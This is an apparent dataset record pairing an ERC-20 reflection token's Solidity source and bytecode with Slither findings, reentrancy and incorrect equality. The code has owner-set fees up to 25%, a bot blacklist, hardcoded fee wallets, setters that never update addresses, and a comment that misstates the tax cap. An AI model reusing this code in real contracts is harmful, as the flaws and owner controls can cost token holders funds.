ffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083141561239357600090506123f5565b600082846123a191906138ec565b90508284826123b09190613975565b146123f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e790613a18565b60405180910390fd5b809150505b92915050565b600061243d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612647565b905092915050565b8080612454576124536126aa565b5b600080600080612463876126cc565b93509350935093506124bd84600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271b90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255283600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276590919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259e816127c3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125fb9190612b7e565b60405180910390a3505050508061261557612614612880565b5b5050505050565b600080600061262961288b565b9150915061264081836123fb90919063ffffffff16565b9250505090565b6000808311829061268e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126859190612a2f565b60405180910390fd5b506000838561269d9190613975565b9050809150509392505050565b6000600854116126b957600080fd5b6008546009819055506000600881905550565b6000806000806000806126e1876008546128ea565b9150915060006126ef61261c565b90506000806126ff8a858561293d565b9150915081818686985098509850985050505050509193509193565b600061275d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121ea565b905092915050565b60008082846127749190613a38565b9050838110156127b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b090613ada565b60405180910390fd5b8091505092915050565b60006127cd61261c565b905060006127e4828461238090919063ffffffff16565b905061283881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b60008060006006549050600067016345785d8a000090506128bf67016345785d8a00006006546123fb90919063ffffffff16565b8210156128dd5760065467016345785d8a00009350935050506128e6565b81819350935050505b9091565b60008060006129156064612907868861238090919063ffffffff16565b6123fb90919063ffffffff16565b9050600061292c828761271b90919063ffffffff16565b905080829350935050509250929050565b6000806000612955848761238090919063ffffffff16565b9050600061296c858761238090919063ffffffff16565b90506000612983828461271b90919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129d05780820151818401526020810190506129b5565b838111156129df576000848401525b50505050565b6000601f19601f8301169050919050565b6000612a0182612996565b612a0b81856129a1565b9350612a1b8185602086016129b2565b612a24816129e5565b840191505092915050565b60006020820190508181036000830152612a4981846129f6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9082612a65565b9050919050565b612aa081612a85565b8114612aab57600080fd5b50565b600081359050612abd81612a97565b92915050565b6000819050919050565b612ad681612ac3565b8114612ae157600080fd5b50565b600081359050612af381612acd565b92915050565b60008060408385031215612b1057612b0f612a5b565b5b6000612b1e85828601612aae565b9250506020612b2f85828601612ae4565b9150509250929050565b60008115159050919050565b612b4e81612b39565b82525050565b6000602082019050612b696000830184612b45565b92915050565b612b7881612ac3565b82525050565b6000602082019050612b936000830184612b6f565b92915050565b600080600060608486031215612bb257612bb1612a5b565b5b6000612bc086828701612aae565b9350506020612bd186828701612aae565b9250506040612be286828701612ae4565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c29826129e5565b810181811067ffffffffffffffff82111715612c4857612c47612bf1565b5b80604052505050565b6000612c5b612a51565b9050612c678282612c20565b919050565b600067ffffffffffffffff821115612c8757612c86612bf1565b5b602082029050602081019050919050565b600080fd5b6000612cb0612cab84612c6c565b612c51565b90508083825260208201905060208402830185811115612cd357612cd2612c98565b5b835b81811015612cfc5780612ce88882612aae565b845260208401935050602081019050612cd5565b5050509392505050565b600082601f830112612d1b57612d1a612bec565b5b8135612d2b848260208601612c9d565b91505092915050565b600060208284031215612d4a57612d49612a5b565b5b600082013567ffffffffffffffff811115612d6857612d67612a60565b5b612d7484828501612d06565b91505092915050565b600060208284031215612d9357612d92612a5b565b5b6000612da184828501612aae565b91505092915050565b6000612db582612a65565b9050919050565b612dc581612daa565b8114612dd057600080fd5b50565b600081359050612de281612dbc565b92915050565b600060208284031215612dfe57612dfd612a5b565b5b6000612e0c84828501612dd3565b91505092915050565b612e1e81612b39565b8114612e2957600080fd5b50565b600081359050612e3b81612e15565b92915050565b600060208284031215612e5757612e56612a5b565b5b6000612e6584828501612e2c565b91505092915050565b612e7781612a85565b82525050565b6000602082019050612e926000830184612e6e565b92915050565b60008060408385031215612eaf57612eae612a5b565b5b6000612ebd85828601612aae565b9250506020612ece85828601612aae565b9150509250929050565b600060208284031215612eee57612eed612a5b565b5b6000612efc84828501612ae4565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f3b6020836129a1565b9150612f4682612f05565b602082019050919050565b60006020820190508181036000830152612f6a81612f2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fda82612ac3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561300d5761300c612fa0565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b60006130746022836129a1565b915061307f82613018565b604082019050919050565b600060208201905081810360008301526130a381613067565b9050919050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b60006131066025836129a1565b9150613111826130aa565b604082019050919050565b60006020820190508181036000830152613135816130f9565b9050919050565b60008151905061314b81612a97565b92915050565b60006020828403121561316757613166612a5b565b5b60006131758482850161313c565b91505092915050565b60006040820190506131936000830185612e6e565b6131a06020830184612e6e565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006132036022836129a1565b915061320e826131a7565b604082019050919050565b60006020820190508181036000830152613232816131f6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132956026836129a1565b91506132a082613239565b604082019050919050565b600060208201905081810360008301526132c481613288565b9050919050565b6000819050919050565b6000819050919050565b60006132fa6132f56132f0846132cb565b6132d5565b612ac3565b9050919050565b61330a816132df565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61334581612a85565b82525050565b6000613357838361333c565b60208301905092915050565b6000602082019050919050565b600061337b82613310565b613385818561331b565b93506133908361332c565b8060005b838110156133c15781516133a8888261334b565b97506133b383613363565b925050600181019050613394565b5085935050505092915050565b600060a0820190506133e36000830188612b6f565b6133f06020830187613301565b81810360408301526134028186613370565b90506134116060830185612e6e565b61341e6080830184612b6f565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006134846024836129a1565b915061348f82613428565b604082019050919050565b600060208201905081810360008301526134b381613477565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006135166022836129a1565b9150613521826134ba565b604082019050919050565b6000602082019050818103600083015261354581613509565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135a86025836129a1565b91506135b38261354c565b604082019050919050565b600060208201905081810360008301526135d78161359b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061363a6023836129a1565b9150613645826135de565b604082019050919050565b600060208201905081810360008301526136698161362d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136cc6029836129a1565b91506136d782613670565b604082019050919050565b600060208201905081810360008301526136fb816136bf565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b60006137846050836129a1565b915061378f82613702565b606082019050919050565b600060208201905081810360008301526137b381613777565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250565b60006137f06020836129a1565b91506137fb826137ba565b602082019050919050565b6000602082019050818103600083015261381f816137e3565b9050919050565b600061383182612ac3565b915061383c83612ac3565b92508282101561384f5761384e612fa0565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006138b6602a836129a1565b91506138c18261385a565b604082019050919050565b600060208201905081810360008301526138e5816138a9565b9050919050565b60006138f782612ac3565b915061390283612ac3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561393b5761393a612fa0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061398082612ac3565b915061398b83612ac3565b92508261399b5761399a613946565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a026021836129a1565b9150613a0d826139a6565b604082019050919050565b60006020820190508181036000830152613a31816139f5565b9050919050565b6000613a4382612ac3565b9150613a4e83612ac3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a8357613a82612fa0565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ac4601b836129a1565b9150613acf82613a8e565b602082019050919050565b60006020820190508181036000830152613af381613ab7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075ad8c6599ab52272d45598509928089c0d86e4390908970ecb8a7ddcbbfae0c64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,917 |
0x836efda3d072f3da933c888fd7cc2ac4dcea0f07 | /**
Test Only
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Test is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Test";
string private constant _symbol = "NCC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public _isExcludedMaxTxAmount;
mapping(address => bool) private _isExcludedFromReflection;
address[] private _excludedFromReflection;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000 * 1e9 * 1e9; //10,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) public bots;
uint256 private _reflectionFeeOnBuy = 10;
uint256 private _taxFeeOnBuy = 10;
uint256 private _reflectionFeeOnSell = 10;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
address payable public _mccAddress = payable(0xFBf335f8224a102e22abE78D78CC52dc95e074Fa); // MCC Wallet
address payable public _mktgAddress = payable(0x43853A1999f1dC727f407e22283b16BC0FE7B49b); //token support wallet
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = true;
bool public tradingActive = false;
uint256 public _maxTxAmount = 4500 * 1e7 * 1e9; //max transaction set to 4.5%
uint256 public _maxWalletSize = 4500 * 1e7 * 1e9; //max wallet set to 4.5%
uint256 public _swapTokensAtAmount = 5000 * 1e6 * 1e9; //amount of tokens to swap for eth 0.5%
event ExcludeFromReflection(address excludedAddress);
event IncludeInReflection(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event UpdatedMktgAddress(address mktg); //team support wallet
event UpdatedmccAddress(address mcc); //investment wallet
event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee);
event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_mccAddress] = true;
_isExcludedFromFee[_mktgAddress] = true;
excludeFromMaxTxAmount(owner(), true);
excludeFromMaxTxAmount(address(this), true);
excludeFromMaxTxAmount(address(_mccAddress), true);
excludeFromMaxTxAmount(address(_mktgAddress), true);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function excludeFromReflection(address account) public onlyOwner {
require(!_isExcludedFromReflection[account], "Account is already excluded");
require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReflection[account] = true;
_excludedFromReflection.push(account);
}
function includeInReflection(address account) public onlyOwner {
require(_isExcludedFromReflection[account], "Account is not excluded from reflection");
for (uint256 i = 0; i < _excludedFromReflection.length; i++) {
if (_excludedFromReflection[i] == account) {
_excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1];
_tOwned[account] = 0;
_isExcludedFromReflection[account] = false;
_excludedFromReflection.pop();
break;
}
}
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingActive)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_mccAddress.transfer(amount.div(2));
_mktgAddress.transfer(amount.div(2));
}
function manualSwap() external {
require(_msgSender() == _mccAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _mccAddress || _msgSender() == _mktgAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_taxFeeOnBuy = taxFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnSell = taxFeeOnSell;
require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25, "Must keep buy taxes below 25%"); //wont allow taxes to go above 10%
require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%"); //wont allow taxes to go above 10%
}
// once enabled, can never be turned off
function enableTrading() public onlyOwner {
tradingActive = true;
}
function createPair() public onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTxAmount(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTxAmount(address(uniswapV2Pair), true);
}
function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
return true;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set max transaction
function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTxAmount[updAds] = isEx;
}
//set max wallet
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
//set wallet address
function _setmccAddress(address mccAddress) external onlyOwner {
require(_mccAddress != address(0), "_mccAddress cannot be 0");
_isExcludedFromFee[mccAddress] = false;
mccAddress = payable(_mccAddress);
_isExcludedFromFee[mccAddress] = true;
emit UpdatedmccAddress(_mccAddress);
}
//set wallet address
function _setMktgAddress(address mktgAddress) external onlyOwner {
require(_mktgAddress != address(0), "_mktgAddress cannot be 0");
_isExcludedFromFee[mktgAddress] = false;
mktgAddress = payable(_mktgAddress);
_isExcludedFromFee[mktgAddress] = true;
emit UpdatedMktgAddress(_mktgAddress);
}
} | 0x6080604052600436106102325760003560e01c80637b783bf01161012e578063a9059cbb116100ab578063ea1644d51161006f578063ea1644d5146106d8578063ea2f0b37146106f8578063ec28438a14610718578063f2fde38b14610738578063f42938901461075857600080fd5b8063a9059cbb14610601578063bbc0c74214610621578063bfd7928414610642578063dd62ed3e14610672578063e755d0cf146106b857600080fd5b80638f9a55c0116100f25780638f9a55c01461056a57806395d89b411461058057806398a5c315146105ac5780639e78fb4f146105cc578063a2a957bb146105e157600080fd5b80637b783bf0146104e15780637d1db4a514610501578063827424a1146105175780638a8c523c146105375780638da5cb5b1461054c57600080fd5b80632fd689e3116101bc578063563912bd11610180578063563912bd14610431578063595cc84f1461046157806367243482146104815780636b999053146104a157806370a08231146104c157600080fd5b80632fd689e3146103aa578063313ce567146103c0578063437823ec146103dc57806349bd5a5e146103fc57806351bc3c851461041c57600080fd5b8063095ea7b311610203578063095ea7b3146102f35780631694505e1461032357806318160ddd1461034357806323b872dd1461036a57806327334a081461038a57600080fd5b80628680341461023e578062b8cf2a1461027b57806305f82a451461029d57806306fdde03146102bd57600080fd5b3661023957005b600080fd5b34801561024a57600080fd5b5060155461025e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561028757600080fd5b5061029b61029636600461262e565b61076d565b005b3480156102a957600080fd5b5061029b6102b8366004612522565b61081a565b3480156102c957600080fd5b5060408051808201909152600481526315195cdd60e21b60208201525b604051610272919061276e565b3480156102ff57600080fd5b5061031361030e366004612603565b610a15565b6040519015158152602001610272565b34801561032f57600080fd5b5060165461025e906001600160a01b031681565b34801561034f57600080fd5b5069021e19e0c9bab24000005b604051908152602001610272565b34801561037657600080fd5b50610313610385366004612592565b610a2c565b34801561039657600080fd5b5061029b6103a5366004612522565b610a95565b3480156103b657600080fd5b5061035c601a5481565b3480156103cc57600080fd5b5060405160098152602001610272565b3480156103e857600080fd5b5061029b6103f7366004612522565b610c83565b34801561040857600080fd5b5060175461025e906001600160a01b031681565b34801561042857600080fd5b5061029b610d08565b34801561043d57600080fd5b5061031361044c366004612522565b60066020526000908152604090205460ff1681565b34801561046d57600080fd5b5061029b61047c3660046125d2565b610d41565b34801561048d57600080fd5b5061031361049c366004612669565b610d96565b3480156104ad57600080fd5b5061029b6104bc366004612522565b610eb5565b3480156104cd57600080fd5b5061035c6104dc366004612522565b610f00565b3480156104ed57600080fd5b5061029b6104fc366004612522565b610f22565b34801561050d57600080fd5b5061035c60185481565b34801561052357600080fd5b5060145461025e906001600160a01b031681565b34801561054357600080fd5b5061029b611014565b34801561055857600080fd5b506000546001600160a01b031661025e565b34801561057657600080fd5b5061035c60195481565b34801561058c57600080fd5b506040805180820190915260038152624e434360e81b60208201526102e6565b3480156105b857600080fd5b5061029b6105c7366004612725565b611053565b3480156105d857600080fd5b5061029b611082565b3480156105ed57600080fd5b5061029b6105fc36600461273d565b61129b565b34801561060d57600080fd5b5061031361061c366004612603565b611399565b34801561062d57600080fd5b5060175461031390600160b01b900460ff1681565b34801561064e57600080fd5b5061031361065d366004612522565b600b6020526000908152604090205460ff1681565b34801561067e57600080fd5b5061035c61068d36600461255a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106c457600080fd5b5061029b6106d3366004612522565b6113a6565b3480156106e457600080fd5b5061029b6106f3366004612725565b611498565b34801561070457600080fd5b